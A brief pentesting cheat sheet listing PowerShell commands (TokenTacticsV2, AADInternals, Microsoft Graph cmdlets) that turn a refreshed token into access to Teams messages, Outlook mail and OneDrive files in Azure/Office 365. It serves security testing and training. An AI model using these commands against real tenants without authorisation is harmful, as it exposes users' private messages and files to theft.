34 lines
859 B
Markdown
34 lines
859 B
Markdown
# Azure Services - Office 365
|
|
|
|
## Microsoft Teams Messages
|
|
|
|
```ps1
|
|
TokenTacticsV2> RefreshTo-MSTeamsToken -domain domain.local
|
|
AADInternals> Get-AADIntTeamsMessages -AccessToken $MSTeamsToken.access_token | Format-Table id,content,deletiontime,*type*,DisplayName
|
|
```
|
|
|
|
|
|
## Outlook Mails
|
|
|
|
* Read user mails
|
|
```ps1
|
|
Get-MgUserMessage -UserId <user-id> | ft
|
|
Get-MgUserMessageContent -OutFile mail.txt -UserId <user-id> -MessageId <message-id>
|
|
```
|
|
|
|
|
|
## OneDrive Files
|
|
|
|
```ps1
|
|
$userId = "<user-id>"
|
|
Import-Module Microsoft.Graph.Files
|
|
Get-MgUserDefaultDrive -UserId $userId
|
|
Get-MgUserDrive -UserId $UserId -Debug
|
|
Get-MgDrive -top 1
|
|
```
|
|
|
|
|
|
## References
|
|
|
|
* [Pentesting Azure Mindmap - Alexis Danizan](https://github.com/synacktiv/Mindmaps)
|
|
* [Training - Attacking and Defending Azure Lab - Altered Security](https://www.alteredsecurity.com/azureadlab) |